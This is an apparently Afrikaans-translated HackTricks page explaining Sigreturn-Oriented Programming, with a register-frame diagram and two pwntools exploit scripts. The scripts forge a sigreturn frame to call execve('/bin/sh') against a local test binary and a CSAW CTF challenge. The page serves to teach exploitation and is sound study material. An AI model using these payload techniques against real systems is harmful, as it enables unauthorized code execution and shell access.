SROP - Sigreturn-Oriented Programming

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese Inligting

Sigreturn is 'n spesiale syscall wat hoofsaaklik gebruik word om op te ruim nadat 'n seinhandler sy uitvoering voltooi het. Seine is onderbrekings wat deur die bedryfstelsel na 'n program gestuur word, dikwels om aan te dui dat 'n uitsonderlike situasie plaasgevind het. Wanneer 'n program 'n sein ontvang, pauzeer dit tydelik sy huidige werk om die sein met 'n seinhandler te hanteer, 'n spesiale funksie wat ontwerp is om met seine te werk.

Nadat die seinhandler klaar is, moet die program sy vorige toestand hervat asof niks gebeur het nie. Dit is waar sigreturn in die spel kom. Dit help die program om terug te keer van die seinhandler en herstel die program se toestand deur die stapelraam (die gedeelte van geheue wat funksie-oproepe en plaaslike veranderlikes stoor) wat deur die seinhandler gebruik is, op te ruim.

Die interessante deel is hoe sigreturn die program se toestand herstel: dit doen dit deur alle CPU se registerwaardes op die stapel te stoor. Wanneer die sein nie meer geblokkeer is nie, pop sigreturn hierdie waardes van die stapel af, wat effektief die CPU se registers na hul toestand voor die sein hanteer is, reset. Dit sluit die stapelpunt-register (RSP) in, wat na die huidige bokant van die stapel wys.

Om die syscall sigreturn van 'n ROP-ketting te bel en die registerwaardes wat ons wil hê dat dit in die stapel moet laai, by te voeg, is dit moontlik om alle registerwaardes te beheer en dus te bel byvoorbeeld die syscall execve met /bin/sh.

Let op hoe dit 'n type Ret2syscall sou wees wat dit baie makliker maak om parameters te beheer om ander Ret2syscalls aan te roep:

Ret2syscall

As jy nuuskierig is, dit is die sigcontext-struktuur wat in die stapel gestoor word om later die waardes te herstel (diagram van hier):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Vir 'n beter verduideliking kyk ook:

Voorbeeld

Jy kan hier 'n voorbeeld vind waar die oproep na signeturn via ROP saamgestel word (die waarde 0xf in rxa plaas), alhoewel dit die finale uitbuiting van daar is:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Kontroleer ook die exploit van hier waar die binêre reeds sigreturn aangeroep het en daarom is dit nie nodig om dit met 'n ROP te bou nie:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Ander Voorbeelde & Verwysings

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Last updated